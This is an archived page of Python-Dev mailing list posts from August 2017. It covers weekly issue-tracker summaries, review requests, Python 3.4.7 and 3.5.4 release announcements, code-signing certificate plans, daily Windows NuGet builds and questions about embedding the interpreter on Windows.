http://bugs.python.org/issue31179 #31178: [EASY] subprocess: TypeError: can't concat str to bytes, in _e http://bugs.python.org/issue31178 #31175: Exception while extracting file from ZIP with non-matching fil http://bugs.python.org/issue31175 #31151: test_socketserver: Warning -- reap_children() reaped child pro http://bugs.python.org/issue31151 #31120: [2.7] Python 64 bit _ssl compile fails due missing buildinf_am http://bugs.python.org/issue31120 #31113: Stack overflow with large program http://bugs.python.org/issue31113 #31108: add __contains__ for list_iterator (and others) for better per http://bugs.python.org/issue31108 #31106: os.posix_fallocate() generate exception with errno 0 http://bugs.python.org/issue31106 #31046: ensurepip does not honour the value of $(prefix) http://bugs.python.org/issue31046 #31021: Clarify programming faq. http://bugs.python.org/issue31021 #31020: Add support for custom compressor in tarfile http://bugs.python.org/issue31020 Top 10 most discussed issues (10) ================================= #30871: Add test.pythoninfo http://bugs.python.org/issue30871 15 msgs #31210: Can not import modules if sys.prefix contains DELIM http://bugs.python.org/issue31210 15 msgs #14976: queue.Queue() is not reentrant, so signals and GC can cause de http://bugs.python.org/issue14976 12 msgs #31212: datetime: min date (0001-01-01 00:00:00) can't be converted to http://bugs.python.org/issue31212 10 msgs #30983: eval frame rename in pep 0523 broke gdb's python extension http://bugs.python.org/issue30983 9 msgs #5001: Remove assertion-based checking in multiprocessing http://bugs.python.org/issue5001 6 msgs #30947: Update embeded copy of libexpat from 2.2.1 to 2.2.3 http://bugs.python.org/issue30947 6 msgs #31149: Add Japanese to the language switcher http://bugs.python.org/issue31149 6 msgs #31183: `Dis` module doesn't know how to disassemble async generator o http://bugs.python.org/issue31183 6 msgs #31185: Miscellaneous errors in asyncio speedup module http://bugs.python.org/issue31185 5 msgs Issues closed (34) ================== #18966: Threads within multiprocessing Process terminate early http://bugs.python.org/issue18966 closed by pitrou #24700: array compare is hideously slow http://bugs.python.org/issue24700 closed by pitrou #29593: Improve UnboundLocalError message for deleted names http://bugs.python.org/issue29593 closed by mbussonn #30616: Cannot use functional API to create enum with zero values http://bugs.python.org/issue30616 closed by haypo #30714: test_ssl fails with openssl 1.1.0f: test_alpn_protocols() http://bugs.python.org/issue30714 closed by christian.heimes #30721: Show expected input for right shift operator usage in custom " http://bugs.python.org/issue30721 closed by ncoghlan #30846: [3.6] test_rapid_restart() of test_multiprocessing_fork fails http://bugs.python.org/issue30846 closed by haypo #30910: Add -fexception to ppc64le build http://bugs.python.org/issue30910 closed by benjamin.peterson #31001: IDLE: Add tests for configdialog highlight tab http://bugs.python.org/issue31001 closed by terry.reedy #31002: IDLE: Add tests for configdialog keys tab http://bugs.python.org/issue31002 closed by terry.reedy #31067: test_subprocess.test_leak_fast_process_del_killed() fails rand http://bugs.python.org/issue31067 closed by haypo #31069: test_multiprocessing_spawn and test_multiprocessing_forkserver http://bugs.python.org/issue31069 closed by haypo #31129: RawConfigParser.items() is unusual in taking arguments http://bugs.python.org/issue31129 closed by gvanrossum #31142: python shell crashed while input quotes in print() http://bugs.python.org/issue31142 closed by ned.deily #31147: a suboptimal check in list_extend() http://bugs.python.org/issue31147 closed by rhettinger #31169: Unknown-source assertion failure in multiprocessing/managers.p http://bugs.python.org/issue31169 closed by pitrou #31186: Support heapfix() and heapremove() APIs in heapq module http://bugs.python.org/issue31186 closed by rhettinger #31187: suboptimal code in Py_ReprEnter() http://bugs.python.org/issue31187 closed by serhiy.storchaka #31192: "return await coro()" SyntaxError despite being "valid syntax" http://bugs.python.org/issue31192 closed by martin.panter #31194: Inconsistent __repr__s for _collections objects http://bugs.python.org/issue31194 closed by r.david.murray #31195: Make any() and all() work with async generators http://bugs.python.org/issue31195 closed by brett.cannon #31198: getaddrinfo: inconsistent handling of port=None http://bugs.python.org/issue31198 closed by njs #31204: Support __fspath__ in shlex.quote http://bugs.python.org/issue31204 closed by Anthony Sottile #31205: IDLE, configdialog: Factor out KeysPage class from ConfigDialo http://bugs.python.org/issue31205 closed by terry.reedy #31208: Simplify `low_fds_to_close` in subprocess.py http://bugs.python.org/issue31208 closed by qingyunha #31214: os.walk has a bug on Windows http://bugs.python.org/issue31214 closed by r.david.murray #31216: Add ensure_ascii argument to json.tool http://bugs.python.org/issue31216 closed by r.david.murray #31219: Spam http://bugs.python.org/issue31219 closed by matrixise #31220: Spam http://bugs.python.org/issue31220 closed by matrixise #31221: Tools/scripts/patchcheck.py must ignore changes in Modules/exp http://bugs.python.org/issue31221 closed by haypo #31223: Spam http://bugs.python.org/issue31223 closed by zach.ware #31225: allow hashlib `update' to accept str http://bugs.python.org/issue31225 closed by pitrou #31228: Subprocess.Popen crash w/ Win10, debug32, bad file, and PIPE http://bugs.python.org/issue31228 closed by eryksun #31231: Travis CI mac test broken: ./python: is a directory http://bugs.python.org/issue31231 closed by haypo

1 0

Could someone review GH-2974 which add missing PyObject_GC_UnTrack()?
by INADA Naoki Aug. 18, 2017

Aug. 18, 2017

Hi. I created PR which fixes potential crash. Serhiy Storchaka approved it already, but he wants one other review from core dev. And I updated document after his review too. So I want more one reviewer for the PR. Someone help me? https://github.com/python/cpython/pull/2974 https://bugs.python.org/issue31095 ## Background For GC types, tp_dealloc should call PyObject_GC_UnTrack() before calling any APIs which can run arbitrary code, including Py_DECREF. Without calling it, GC may happen during tp_dealloc and GC will find object which refcnt == 0. I checked all GC types and find some unsafe tp_dealloc. Even "extending and embedding" document missed untracking. Regards, INADA Naoki <songofacandy(a)gmail.com>

1 0

Help requested with Python 2.7 performance regression
by Barry Warsaw Aug. 16, 2017

Aug. 16, 2017

Hello all, Over in Ubuntu, we've gotten reports about some performance regressions in Python 2.7 when moving from Trusty (14.04 LTS) to Xenial (16.04 LTS). Trusty's version is based on 2.7.6 while Xenial's version is based on 2.7.12 with bits of .13 cherry picked. We've not been able to identify any change in Python itself (or the Debian/Ubuntu deltas) which could account for this, so the investigation has led to various gcc compiler options and version differences. In particular disabling LTO (link-time optimization) seems to have a positive impact, but doesn't completely regain the loss. Louis (Cc'd here) has done a ton of work to measure and analyze the problem, but we've more or less hit a roadblock, so we're taking the issue public to see if anybody on this mailing list has further ideas. A detailed analysis is available in this Google doc: https://docs.google.com/document/d/1zrV3OIRSo99fd2Ty4YdGk_scmTRDmVauBprKL8e… The document should be public for comments and editing. If you have any thoughts, or other lines of investigation you think are worthwhile pursuing, please add your comments to the document. Cheers, -Barry

11 21

Git and Mercurial Security Update
by Cheryl Sabella Aug. 14, 2017

Aug. 14, 2017

http://www.esecurityplanet.com/threats/git-svn-and-mercurial-open-source-ve…

2 1

Re: [Python-Dev] Git and Mercurial Security Update
by rymg19＠gmail.com Aug. 14, 2017

Aug. 14, 2017

Interesting, but does this really concern Python? I mean, it's hosted on GitHub and doesn't seem to recommend use of ssh URLs anyway... -- Ryan (ライアン) Yoko Shimomura, ryo (supercell/EGOIST), Hiroyuki Sawano >> everyone elsehttp://refi64.com On Aug 13, 2017 at 8:11 PM, <Cheryl Sabella <chekat2(a)gmail.com>> wrote: http://www.esecurityplanet.com/threats/git-svn-and-mercurial-open-source-ve… _______________________________________________ Python-Dev mailing list Python-Dev(a)python.org https://mail.python.org/mailman/listinfo/python-dev Unsubscribe: https://mail.python.org/mailman/options/python-dev/rymg19%40gmail.com

2 1

Pull requests now have labels specifying what stage they are at
by Brett Cannon Aug. 11, 2017

Aug. 11, 2017

I just pushed a change to Bedevere to help track what stage a pull request is in. The stages are: - awaiting review - awaiting core review - awaiting changes - awaiting change review - awaiting merge The "review" stage is for when a pull request has no reviews either approving or requesting changes (this only applies to PRs not by a core dev; all PRs created by a core dev are flagged as awaiting merge immediately). The "core review" stage is when a review has been done by one or more non-core folk, but no core devs. The idea with the distinction is to encourage people to help in doing initial reviewing of PRs who happen to not be core devs since triaging issues and reviewing pull requests is the biggest chunk of work in maintaining CPython. The "changes" stage occurs when a core dev requests changes to a PR (a non-core dev review will not trigger this). A comment will be left to this effect with instructions for the PR creator to leave a comment saying "I didn't expect the Spanish Inquisition" to signal when they believe they are done addressing the reviewer's comments (there is also appropriate comments to explain the quote along with an easter egg(s) :) . The "change review" label means that the PR creator left the Spanish Inquisition quote and so now the core dev(s) who requested changes should re-review the PR. There will be a comment mentioning the core devs to this effect so that they will get a proper GitHub notification and they can check the label to see if the PR creator believes they are ready for another round of review (compared to now where you have to hunt around in the PR to see if it's ready for another review). The "merge" label means the PR has received an approving review from a core dev and so it should be ready to go. Now when any state change happens to trigger these labels, any preexisting "awaiting" label will be cleared and the new one set. But removing or setting a label manually won't trigger an action, so in this instance you can override Bedevere manually until some later event occurs which triggers an automatic update. One thing I do want to call out is that it's now more important that core devs leave appropriate "approved" and "request changes" reviews through the GitHub UI instead of just leaving a comment when they approve or want changes to a PR, respectively. Not only is this necessary to automate this part of the stage labeling, but it also visibly exposes in the GitHub UI the review state of a PR. I'm not backfilling the open PRs as it's more work and I don't want to do said work. ;) But as PRs are opened, reviewed, etc., things should slowly trickle their way through the various PRs. I should mention this is the second-to-last "intrusive" workflow change I have planned to introduce some new aspect to the workflow (the last one being a status check for a news entry after every branch has been blurbified). After these two changes land, everything else I have planned is just touching things up (e.g. the CLA check becoming a status check instead of a label, touching up CONTRIBUTING.md, etc.). I think some other people have plans to improve things as well, but at least my TODO list of "radical" changes to our workflow is almost done!

1 0

Summary of Python tracker Issues
by Python tracker Aug. 11, 2017

Aug. 11, 2017

ACTIVITY SUMMARY (2017-08-04 - 2017-08-11) Python tracker at http://bugs.python.org/ To view or respond to any of the issues listed below, click on the issue. Do NOT respond to this message. Issues counts and deltas: open 6116 (+16) closed 36820 (+46) total 42936 (+62) Open issues with patches: 2341 Issues opened (42) ================== #30855: [2.7] test_tk: test_use() of test_tkinter.test_widgets randoml http://bugs.python.org/issue30855 reopened by haypo #31122: SSLContext.wrap_socket() throws OSError with errno == 0 http://bugs.python.org/issue31122 opened by nikratio #31123: fnmatch does not follow Unix fnmatch functionality http://bugs.python.org/issue31123 opened by Varun Agrawal #31128: Allow pydoc to run with an arbitrary hostname http://bugs.python.org/issue31128 opened by feanil #31129: RawConfigParser.items() is unusual in taking arguments http://bugs.python.org/issue31129 opened by odd_bloke #31131: asyncio.wait_for() TimeoutError doesn't provide full traceback http://bugs.python.org/issue31131 opened by chris.jerdonek #31132: test_prlimit from test_resource fails when building python3 in http://bugs.python.org/issue31132 opened by cstratak #31137: Add a path attribute to NamedTemporaryFile http://bugs.python.org/issue31137 opened by wsanchez #31139: Improve tracemalloc demo code in docs http://bugs.python.org/issue31139 opened by louielu #31140: Insufficient error message with incorrect formated string lite http://bugs.python.org/issue31140 opened by chris.259263 #31141: Start should be a keyword argument of the built-in sum http://bugs.python.org/issue31141 opened by Mark.Bell #31142: python shell crashed while input quotes in print() http://bugs.python.org/issue31142 opened by py78py90py #31143: lib2to3 requires source files for fixes http://bugs.python.org/issue31143 opened by tschiller #31144: add initializer to concurrent.futures.ProcessPoolExecutor http://bugs.python.org/issue31144 opened by nvdv #31145: PriorityQueue.put() fails with TypeError if priority_number in http://bugs.python.org/issue31145 opened by Mikołaj Babiak #31146: Docs: On non-public translations, language picker fallback to http://bugs.python.org/issue31146 opened by mdk #31147: a mostly useless check in list_extend() http://bugs.python.org/issue31147 opened by Oren Milman #31149: Add Japanese to the language switcher http://bugs.python.org/issue31149 opened by mdk #31151: test_socketserver: Warning -- reap_children() reaped child pro http://bugs.python.org/issue31151 opened by haypo #31153: Update docstrings of itertools functions http://bugs.python.org/issue31153 opened by serhiy.storchaka #31155: Encode set, frozenset, bytearray, and iterators as json arrays http://bugs.python.org/issue31155 opened by javenoneal #31158: test_pty: test_basic() fails randomly on Travis CI http://bugs.python.org/issue31158 opened by haypo #31159: Doc: Language switch can't switch on specific cases http://bugs.python.org/issue31159 opened by mdk #31161: Only check for print and exec parentheses cases for SyntaxErro http://bugs.python.org/issue31161 opened by mjpieters #31162: urllib.request.urlopen error http://bugs.python.org/issue31162 opened by chua.chewbock(a)gmail.com #31163: Return destination path in Path.rename and Path.replace http://bugs.python.org/issue31163 opened by albertogomcas #31164: test_functools: test_recursive_pickle() stack overflow on x86 http://bugs.python.org/issue31164 opened by haypo #31165: null pointer deref and segfault in list_slice (listobject.c:45 http://bugs.python.org/issue31165 opened by geeknik #31166: null pointer deref and segfault in _PyObject_Alloc (obmalloc.c http://bugs.python.org/issue31166 opened by geeknik #31169: Unknown-source assertion failure in multiprocessing/managers.p http://bugs.python.org/issue31169 opened by drallensmith #31171: multiprocessing.BoundedSemaphore of 32-bit python could not wo http://bugs.python.org/issue31171 opened by hongxu #31172: Py_Main() is totally broken on Visual Studio 2017 http://bugs.python.org/issue31172 opened by rutski #31174: test_tools leaks randomly references on x86 Gentoo Refleaks 3. http://bugs.python.org/issue31174 opened by haypo #31175: Exception while extracting file from ZIP with non-matching fil http://bugs.python.org/issue31175 opened by zyxtarmo #31176: Is a UDP transport also a ReadTransport/WriteTransport? http://bugs.python.org/issue31176 opened by twisteroid ambassador #31177: unittest mock's reset_mock throws an error when an attribute h http://bugs.python.org/issue31177 opened by hmvp #31178: [EASY] subprocess: TypeError: can't concat str to bytes, in _e http://bugs.python.org/issue31178 opened by haypo #31179: Speed-up dict.copy() up to 5.5 times. http://bugs.python.org/issue31179 opened by yselivanov #31180: test_multiprocessing_spawn hangs randomly on x86 Windows7 3.6 http://bugs.python.org/issue31180 opened by haypo #31181: Segfault in gcmodule.c:360 visit_decref (PyObject_IS_GC(op)) http://bugs.python.org/issue31181 opened by lchin #31182: Suggested Enhancements to zipfile & tarfile command line inter http://bugs.python.org/issue31182 opened by Steve Barnes #31183: `Dis` module doesn't know how to disassemble async generator o http://bugs.python.org/issue31183 opened by George Collins Most recent 15 issues with no replies (15) ========================================== #31183: `Dis` module doesn't know how to disassemble async generator o http://bugs.python.org/issue31183 #31182: Suggested Enhancements to zipfile & tarfile command line inter http://bugs.python.org/issue31182 #31181: Segfault in gcmodule.c:360 visit_decref (PyObject_IS_GC(op)) http://bugs.python.org/issue31181 #31180: test_multiprocessing_spawn hangs randomly on x86 Windows7 3.6 http://bugs.python.org/issue31180 #31178: [EASY] subprocess: TypeError: can't concat str to bytes, in _e http://bugs.python.org/issue31178 #31177: unittest mock's reset_mock throws an error when an attribute h http://bugs.python.org/issue31177 #31176: Is a UDP transport also a ReadTransport/WriteTransport? http://bugs.python.org/issue31176 #31174: test_tools leaks randomly references on x86 Gentoo Refleaks 3. http://bugs.python.org/issue31174 #31165: null pointer deref and segfault in list_slice (listobject.c:45 http://bugs.python.org/issue31165 #31164: test_functools: test_recursive_pickle() stack overflow on x86 http://bugs.python.org/issue31164 #31155: Encode set, frozenset, bytearray, and iterators as json arrays http://bugs.python.org/issue31155 #31153: Update docstrings of itertools functions http://bugs.python.org/issue31153 #31146: Docs: On non-public translations, language picker fallback to http://bugs.python.org/issue31146 #31144: add initializer to concurrent.futures.ProcessPoolExecutor http://bugs.python.org/issue31144 #31139: Improve tracemalloc demo code in docs http://bugs.python.org/issue31139 Most recent 15 issues waiting for review (15) ============================================= #31179: Speed-up dict.copy() up to 5.5 times. http://bugs.python.org/issue31179 #31178: [EASY] subprocess: TypeError: can't concat str to bytes, in _e http://bugs.python.org/issue31178 #31175: Exception while extracting file from ZIP with non-matching fil http://bugs.python.org/issue31175 #31169: Unknown-source assertion failure in multiprocessing/managers.p http://bugs.python.org/issue31169 #31151: test_socketserver: Warning -- reap_children() reaped child pro http://bugs.python.org/issue31151 #31120: [2.7] Python 64 bit _ssl compile fails due missing buildinf_am http://bugs.python.org/issue31120 #31113: Stack overflow with large program http://bugs.python.org/issue31113 #31108: add __contains__ for list_iterator (and others) for better per http://bugs.python.org/issue31108 #31106: os.posix_fallocate() generate exception with errno 0 http://bugs.python.org/issue31106 #31046: ensurepip does not honour the value of $(prefix) http://bugs.python.org/issue31046 #31021: Clarify programming faq. http://bugs.python.org/issue31021 #31020: Add support for custom compressor in tarfile http://bugs.python.org/issue31020 #31015: PyErr_WriteUnraisable should be more verbose in Python 2.7 http://bugs.python.org/issue31015 #31013: gcc7 throws warning when pymem.h development header is used http://bugs.python.org/issue31013 #30950: Convert round() to Arument Clinic http://bugs.python.org/issue30950 Top 10 most discussed issues (10) ================================= #31113: Stack overflow with large program http://bugs.python.org/issue31113 12 msgs #31166: null pointer deref and segfault in _PyObject_Alloc (obmalloc.c http://bugs.python.org/issue31166 8 msgs #31169: Unknown-source assertion failure in multiprocessing/managers.p http://bugs.python.org/issue31169 8 msgs #22635: subprocess.getstatusoutput changed behavior in 3.4 (maybe 3.3. http://bugs.python.org/issue22635 7 msgs #31179: Speed-up dict.copy() up to 5.5 times. http://bugs.python.org/issue31179 7 msgs #31119: Signal tripped flags need memory barriers http://bugs.python.org/issue31119 6 msgs #31143: lib2to3 requires source files for fixes http://bugs.python.org/issue31143 6 msgs #27755: Retire DynOptionMenu with a ttk Combobox http://bugs.python.org/issue27755 4 msgs #29910: Ctrl-D eats a character on IDLE http://bugs.python.org/issue29910 4 msgs #30849: test_stress_delivery_dependent() of test_signal randomly fails http://bugs.python.org/issue30849 4 msgs Issues closed (45) ================== #19903: Idle: Use inspect.signature for calltips http://bugs.python.org/issue19903 closed by terry.reedy #29736: Optimize builtin types constructor http://bugs.python.org/issue29736 closed by haypo #30051: Document that the random module doesn't support fork http://bugs.python.org/issue30051 closed by haypo #30229: Closing a BufferedRandom calls lseek() mutliple times http://bugs.python.org/issue30229 closed by haypo #30369: test_thread crashed with SIGBUS on AMD64 FreeBSD 10.x Shared 3 http://bugs.python.org/issue30369 closed by haypo #30382: test_stdin_broken_pipe() of test_asyncio failed randomly on AM http://bugs.python.org/issue30382 closed by haypo #30653: test_socket hangs in ThreadableTest.tearDown() on AMD64 FreeBS http://bugs.python.org/issue30653 closed by haypo #30683: Enhance doctest support in regrtest --list-cases http://bugs.python.org/issue30683 closed by haypo #30834: Warning -- files was modified by test_import, After: ['@test http://bugs.python.org/issue30834 closed by haypo #30841: Fix a variable shadowing warning in Python-ast.c http://bugs.python.org/issue30841 closed by lukasz.langa #30845: [3.5] test_first_completed_some_already_completed() of test_co http://bugs.python.org/issue30845 closed by haypo #30857: test_bsddb3 hangs longer than 37 minutes on x86 Tiger 2.7 http://bugs.python.org/issue30857 closed by haypo #30885: test_subprocess hangs on AMD64 Windows8.1 Refleaks 3.x http://bugs.python.org/issue30885 closed by haypo #30982: AMD64 Windows8.1 Refleaks 3.x: compilation error, cannot open http://bugs.python.org/issue30982 closed by haypo #31010: test_socketserver.test_ForkingTCPServer(): threading_cleanup() http://bugs.python.org/issue31010 closed by haypo #31029: test_tokenize fails when run directly http://bugs.python.org/issue31029 closed by serhiy.storchaka #31036: building the python docs requires the blurb module http://bugs.python.org/issue31036 closed by larry #31041: test_handle_called_with_mp_queue() of test_logging: threading_ http://bugs.python.org/issue31041 closed by haypo #31045: Add a language switch to the Python documentation http://bugs.python.org/issue31045 closed by mdk #31068: [2.7] test_ttk_guionly hangs at self.tk.call('update') on AMD6 http://bugs.python.org/issue31068 closed by haypo #31070: test_threaded_import: KeyError ignored in _get_module_lock.<lo http://bugs.python.org/issue31070 closed by serhiy.storchaka #31072: add filter to zipapp http://bugs.python.org/issue31072 closed by paul.moore #31097: itertools.islice not accepting np.int64 http://bugs.python.org/issue31097 closed by terry.reedy #31107: copyreg does not properly mangle __slots__ names http://bugs.python.org/issue31107 closed by serhiy.storchaka #31124: ImportError: cannot import name HAS_ALPN http://bugs.python.org/issue31124 closed by christian.heimes #31125: shelve.open of temporary file fails with error "anydbm.error: http://bugs.python.org/issue31125 closed by r.david.murray #31126: dict comprehension shouldn't raise UnboundLocalError http://bugs.python.org/issue31126 closed by eryksun #31127: Abstract classes derived from built-in classes don't block ins http://bugs.python.org/issue31127 closed by r.david.murray #31130: test_idle: idlelib.configdialog leaks references http://bugs.python.org/issue31130 closed by terry.reedy #31133: [2.7] PCbuild/pcbuild.sln of Python 2.7 cannot be open by Visu http://bugs.python.org/issue31133 closed by haypo #31134: python not added to path http://bugs.python.org/issue31134 closed by eryksun #31135: [2.7] test_ttk_guionly doesn't destroy all widgets on Python 2 http://bugs.python.org/issue31135 closed by haypo #31136: raw strings cannot end with a backslash character r'\' http://bugs.python.org/issue31136 closed by tim.peters #31138: dir argument NamedTemporaryFile should accept a pathlib.Path http://bugs.python.org/issue31138 closed by serhiy.storchaka #31148: Can we get an MSI installer for something past 3.4.4? http://bugs.python.org/issue31148 closed by steve.dower #31150: [EASY] test_thread: Warning -- reap_children() reaped child pr http://bugs.python.org/issue31150 closed by haypo #31152: Tutorial wording implies an understanding of a concept prior t http://bugs.python.org/issue31152 closed by rhettinger #31154: Path.replace and Path.rename naming, behavior and documentatio http://bugs.python.org/issue31154 closed by r.david.murray #31156: Stopiteration terminates while-loop http://bugs.python.org/issue31156 closed by Günter Rote #31157: math.sqrt function wrong http://bugs.python.org/issue31157 closed by haypo #31160: Enhance support.reap_children() http://bugs.python.org/issue31160 closed by haypo #31167: timedelta produced by datetime.__sub__ does not take Daylight http://bugs.python.org/issue31167 closed by r.david.murray #31168: IDLE hangs with absurdly long __repr__s http://bugs.python.org/issue31168 closed by terry.reedy #31170: expat: utf8_toUtf8 cannot properly handle exhausting buffer http://bugs.python.org/issue31170 closed by serhiy.storchaka #31173: test_subprocess: test_child_terminated_in_stopped_state() leak http://bugs.python.org/issue31173 closed by haypo

1 0

bugs.python.org - outage 08/09/17 until 8:00pm PST
by Mark Mangoba Aug. 10, 2017

Aug. 10, 2017

Dear Colleagues, I was just informed from our hosting provider for bugs.python.org <http://bugs.python.org/>, Hetzner Online - that the server is currently being migrated to a new data center. Unfortunately I was not informed ahead of time and working with the provider to better communicate and schedule future maintenance periods accordingly. Apologies for any inconvenience this has caused. I will be posting status updates at https://status.python.org/ <https://status.python.org/>. As many of you know, we are working to migrate this off the current hosting provider in the next 3 months. Best regards, Mark Mark Mangoba | PSF IT Manager | Python Software Foundation | mmangoba(a)python.org | python.org | Infrastructure Staff: infrastructure-staff(a)python.org | GPG: 2DE4 D92B 739C 649B EBB8 CCF6 DC05 E024 5F4C A0D1

4 5

Python's Windows code-signing certificate
by Steve Dower Aug. 10, 2017

Aug. 10, 2017

Just a heads-up, primarily for Marc-Andre, but letting everyone know for awareness. Next time we need to renew the PSF code signing certificate used for Windows releases, we will need to use a different CA. Our current certificate is from StartCom, who are losing their status as a trusted CA on Windows, which means any of their certificates issued after the 26th of September this year will be treated as invalid: https://blogs.technet.microsoft.com/mmpc/2017/08/08/microsoft-to-remove-wos… The certificate we have right now is valid through February 2019, so there's no urgency to change (unless we want to avoid the risk of "accidental certificate revocation", which is one of the reasons Microsoft has lost trust in StartCom). Because the revocation of the root CA has a start date, all of our current releases and future releases with the current certificate will be fine. Since this will likely harm StartCom's business, it's very likely that they will get their act together and by the time we come to renew they'll be acceptable again. But we probably do want to be planning ahead to switch CA regardless. And for our macOS and Linux friends who may be uncertain what I'm referring to: this is the certificate embedded in the installer and every executable binary in our Windows distributions. It has nothing to do with GPG or the signature files you can download from python.org (these are still associated with my personal and completely unverified key, which is fine since nobody on Windows actually cares about GPG :) ). Cheers, Steve

1 0

Py_Main() seems to be a NOOP
by Patrick Rutkowski Aug. 10, 2017

Aug. 10, 2017

I'm working on Windows with Python 3.6. I'm trying to make a wWinMain() GUI application that uses an embedded python interpreter. I'm having various issues with being unable to load extension modules, but I won't go into that now because I've tracked my issue down to a much simpler test case. To begin, consider the source code of pythonw.exe: /* Minimal main program -- everything is loaded from the library. */ #include "Python.h" #define WIN32_LEAN_AND_MEAN #include <windows.h> int WINAPI wWinMain( HINSTANCE hInstance, /* handle to current instance */ HINSTANCE hPrevInstance, /* handle to previous instance */ LPWSTR lpCmdLine, /* pointer to command line */ int nCmdShow /* show state of window */ ) { return Py_Main(__argc, __wargv); } Now consider a simple python script, which I save in source.py f = open('C:\\Users\\rutski\\Desktop\\hello.txt', 'w') f.write('Hello World!\n') f.flush() f.close() and run with > pythonw.exe source.py This produces the file `hello.txt` with the expected output. Now I create a new Visual Studio solution. I make it Win32 project, choose "Windows Application" and "Empty Project." I create a new source file main.c and I copy-paste the source code of from pythonw (with Py_Main and all that). Now I add the following settings: C:\Users\rutski\Documents\python\PCbuild\amd64 --- Library Search Directory C:\Users\rutski\Documents\python\Include --- Include Directory C:\Users\rutski\Documents\python\PC --- Include Directory (for pyconfig.h) I choose "Debug | x64" and hit build. I pop open cmd.exe, browse to where mything.exe is, and execute > mything.exe source.py But this time nothing happens. No hello.txt gets created. I get no crash window or error message. I do not get thrown into a debugger. I just get no result. Am I missing some build flags here or something? I'm running the __exact__ same C code that pythonw.exe is, but mine isn't working. What gives? I can't even seem to get Py_Main() to execute some python code from within my own application, so trying to write my own embed code is basically hopeless. If anybody could shed any light on this it would be much appreciated! -Patrick

2 2

bugs.python.org appears down
by Terry Reedy Aug. 9, 2017

Aug. 9, 2017

And not just for me, for last couple of hours. http://downforeveryoneorjustme.com/bugs.python.org --- Terry Jan Reedy

1 0

first post introduction and question regarding lto
by Soldea, Octavian Aug. 9, 2017

Aug. 9, 2017

Hello This is my first post after I just have subscribed to the Python-Dev mailing list. In this context, the welcome confirmation message suggested to introduce myself. My name is Octavian Soldea and I am with the Python optimization team in DSLOT group in Intel, Santa Clara, California. In the past I have received a PhD in Computer Science from the Technion, Israel Institute of Technology in Computer Vision. I would like to ask regarding the possibility of compiling Python with lto only. My question is if is the community interested to enable the possibility of compiling Python with lto only, i.e. without pgo? I have followed https://bugs.python.org/issue29243 and https://bugs.python.org/issue29641 however, it is not clear if the separate compilation is already implemented. In my opinion this is a good option since pgo is not always desired. Best regards, Octavian

6 13

Interrupt thread.join() with Ctrl-C / KeyboardInterrupt on Windows
by Jonathan Slenders Aug. 9, 2017

Aug. 9, 2017

Hi all, Is it possible that thread.join() cannot be interrupted on Windows, while it can be on Linux? Would this be a bug, or is it by design? import threading, time def wait(): time.sleep(1000) t = threading.Thread(target=wait) t.start() t.join() # Press Control-C now. It stops on Linux, while it hangs on Windows. Tested on Python 3.6. Thanks, Jonathan

4 6

[RELEASED] Python 3.4.7 is now available
by Larry Hastings Aug. 9, 2017

Aug. 9, 2017

On behalf of the Python development community and the Python 3.4 release team, I'm pleased to announce the availability of Python 3.4.7. Python 3.4 is now in "security fixes only" mode. This is the final stage of support for Python 3.4. Python 3.4 now only receives security fixes, not bug fixes, and Python 3.4 releases are source code only--no more official binary installers will be produced. You can find Python 3.4.7 here: https://www.python.org/downloads/release/python-347/ Happy Pythoning, //arry/

1 0

[ANN] Daily Windows builds of Python 3.x
by Steve Dower Aug. 9, 2017

Aug. 9, 2017

Hi all As part of a deal with Zach Ware at PyCon, I agreed that if he removed the Subversion dependency from our builds, I would set up daily Windows builds of Python. Zach did an excellent job, and so I am now following through on my half of the deal :) For a while I've been uploading the official releases to nuget.org. These packages can be installed with nuget.exe (latest version always available at https://aka.ms/nugetclidl), which is quickly becoming a standard tool in Microsoft's build toolsets. It's very much a CI-focused package manager, rather than a user-focused one, and CI on Windows was previously an area where it was difficult to use Python. See the official feed at https://www.nuget.org/packages/python, and related packages pythonx86, python2 and python2x86. For people looking for an official "no installer" version of Python for Windows, this is it. And since all the infrastructure was there already, I decided to publish daily builds in a similar way to myget.org: https://www.myget.org/feed/python/package/nuget/pythondaily To install the latest daily build, run nuget.exe with this command: nuget.exe pythondaily -Source https://www.myget.org/F/python/api/v3/index.json (Note that if you already have a "pythondaily" package in that directory, nuget will consider the requirement satisfied. As I said, it's meant for reproducible CI builds rather than users who want to update things in the least amount of keystrokes :) ) The sys.version string contains the short commit hash. Please include this string when reporting bugs in these builds. Also, only the amd64 Release build is available pre-built. >>> sys.version '3.7.0a0 (remotes/origin/master:733d0f63c, Aug 8 2017, 15:56:14) [MSC v.1900 64 bit (AMD64)]' Hopefully this is valuable for people who want to include daily builds in their own test runs or validate recent bug fixes. Cheers, Steve

4 3

[RELEASED] Python 3.5.4 is now available
by Larry Hastings Aug. 8, 2017

Aug. 8, 2017

On behalf of the Python development community and the Python 3.5 release team, I'm pleased to announce the availability of Python 3.5.4. Python 3.5.4 is the final 3.5 release in "bug fix" mode. The Python 3.5 branch has now transitioned into "security fixes mode"; all future improvements in the 3.5 branch will be security fixes only, and no conventional bug fixes will be merged. You can find Python 3.5.4 here: https://www.python.org/downloads/release/python-354/ Python 3.4.7 final will be released later today. Happy Pythoning, //arry/

2 1

PyThreadState_GET() returns NULL from within PyImport_GetModuleDict()
by Patrick Rutkowski Aug. 8, 2017

Aug. 8, 2017

I'm working on Windows. I have the following dead simple embedding code that I'm using to test out the python interpreter: ============================================================ Py_SetProgramName(L"MyApp"); Py_SetPath( L"C:\\Users\\rutski\\Documents\\python\\PCBuild\\amd64\\python36.zip;" L"C:\\Users\\rutski\\Documents\\python\\DLLs;" L"C:\\Users\\rutski\\Documents\\python\\lib;" L"C:\\Users\\rutski\\Documents\\python\\PCBuild\\amd64;" L"C:\\Users\\rutski\\Documents\\python;" L"C:\\Users\\rutski\\Documents\\python\\lib\\site-packages"); Py_Initialize(); PyRun_SimpleString( "from time import time,ctime\n" "print('Today is', ctime(time()))\n"); ============================================================ This code crashes trying to access address 0x00000010 from within PyRun_SimpleString(). The sequence of event's is this: 1) PyRun_SimpleString() tries to do AddModule("__main__") 2) AddModule tries to do PyImport_GetModuleDict() 3) PyImport_GetModuleDict() tries to doPyThreadState_GET()->interp 4) PyThreadState_GET() returns NULL, so the ->interp part crashes. The weird thing is that calling PyImport_GetModuleDict() from within my application directly works just fine. Weirder still is that the whole thing actually executes fine if I build a windows command line application with the embed code in main(), and execute it from a terminal. The crash only happens when building a Windows GUI application and calling the embed code in WinMain(). This is a python interpreter that I built from source on windows using PCbuild\build.bat, so that I could track the crash. However, the exact same crash was happening with the stock interpreter provided by the python windows installer. Does anyone have any ideas here? -Patrick
